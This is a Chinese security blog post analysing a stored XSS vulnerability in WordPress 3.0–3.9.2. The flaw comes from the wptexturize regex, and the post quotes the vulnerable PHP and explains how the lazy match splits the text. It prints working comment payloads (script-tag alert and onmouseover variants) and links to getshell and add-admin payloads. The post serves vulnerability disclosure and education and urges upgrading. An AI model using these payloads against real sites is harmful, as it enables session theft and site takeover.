WordPress 3.0-3.9.2 XSS 漏洞详细分析

2014-11-26 17,833

本文首发安全脉搏 感谢Ricter的投递 转载请注明来源

WordPress 罕见的爆了一个 XSS,具体还是正则表达式的问题_(:3
我们来分析一下这个 XSS 漏洞的成因,首先这个漏洞的成因是在/wp-includes/formatting.php中的wptexturize函数。其中这个函数最后一段代码导致的 XSS。

	/**
	 * Filter the list of shortcodes not to texturize.
	 *
	 * @since 2.8.0
	 *
	 * @param array $default_no_texturize_shortcodes An array of shortcode names.
	 */
	$no_texturize_shortcodes = '(' . implode( '|', apply_filters( 'no_texturize_shortcodes', $default_no_texturize_shortcodes ) ) . ')';

	$no_texturize_tags_stack = array();
	$no_texturize_shortcodes_stack = array();

	$textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE);

	foreach ( $textarr as &$curl ) {
        // ...不用看
	}
	// print_r($textarr);
	return implode( '', $textarr );

wordpress-logo

我们来看这个正则表达式:

/(<.*>|\[.*\])/Us

这个正则表达式的含义是: 匹配<>或者[]中间的所有内容,并且是用懒惰模式匹配的。正则有贪婪模式和懒惰模式,举个例子:

[ricter is very moe!][very very moe!!]

我们用懒惰模式匹配的话,会匹配到离左边[最近的],而用贪婪模式匹配的话,会匹配到离左边[最远的]

Wordpress 就是这样匹配,然后再用 implode 把这个数组变成字符串。
那么问题来了,如果我们把<>嵌套在[]里面会怎么样呢?

[<owo>]

很不幸的会这样:

Array
(
    [0] => 
    [1] => [<owo>]
    [2] => 
)

 

更为令人兴奋的是,Wordpress 不会对匹配出来的数组中[]中间的尖括号做转义,所以我们的一些邪恶代码要在[]中间。
让我们打开脑洞来构造一下。

[<a href="hello" alt="]"></a>["<script></][a><script>alert(1)</script>]

弹~
wp_xss_2

 

 

 

 

 

 

 
新的 payload 构造出来了哟 ow<
我们来看一下 WordPress 是如何解析的:

Array
(
    [0] => 
    [1] => [<a href="hello" alt="]
    [2] => &#8221; rel=&#8221;nofollow&#8221;>
    [3] => </a>
    [4] => 
    [5] => ["<script></]
    [6] => 
    [7] => [a><script>alert(1)</script>]
    [8] => 
)

是不是直接 script 标签更爽一点?

作者:Ricter@Knownsec //会卖萌的安全工作者ow<

//小编测试了一下 Ricter这个新姿势能在前台xss弹窗 不限制用户权限 后台的确不能弹窗

[<a href="hello" alt="]"></a>["<script></][a><script>alert(1)</script>]

前后台都能弹窗 似乎还是老的onmouseover能用

[<a href="test" title="]"></a>[" <!-- onmouseover=alert(/xss/)//><!-- -->NOT VULNERABLE<a></a>]

对了标题是说3.0-3.9.2; WordPress 3.9.3是没有此漏洞的,大家可以下载个wordpress-3.8.3测试一下。

//更新 wooyun上0x_Jin发了js getshell和add管理员

wordpress 3.0-3.9.2 XSS Getshell Payload http://zone.wooyun.org/content/16880
wordpress 添加管理员Payload http://zone.wooyun.org/content/16869

【小编提醒大家升级到WordPress4.0系列或者升级akismet评论插件】

 

本文作者:Ricter

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/2365.html

Tags:
评论  (8)
快来写下你的想法吧!
  • rootkit 2014-11-26 20:45:17

    看到菊苣的分析,总要说点什么!

    来!辣条一根 😈

  • 会卖萌的瑞克特 2014-11-26 22:18:04

    会卖萌的瑞克特,又涨姿势了,来辣条

  • admin 2014-11-27 9:00:14

    为啥我测试不成功?只有管理员发的留言才能弹,并且也只是在前台弹,后台完全不弹得。。。

    • SP小编 个人认证 2014-11-27 16:07:20

      @admin Ricter这个新姿势能在前台xss弹窗 不限制用户权限 不是管理员也可以弹 后台的确不能弹窗

  • xsser 2014-11-27 12:20:35

    好像不能弹,小编也不测试一下?

  • 让故事继续 2015-05-01 20:28:43

    3.8.7有这个漏洞吗

  • test 2018-03-16 0:21:30

    [<a href=”hello” alt=”]”></a>[“<script></][a><script>alert(1)</script>]

Ricter

文章数:8 积分: 0

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号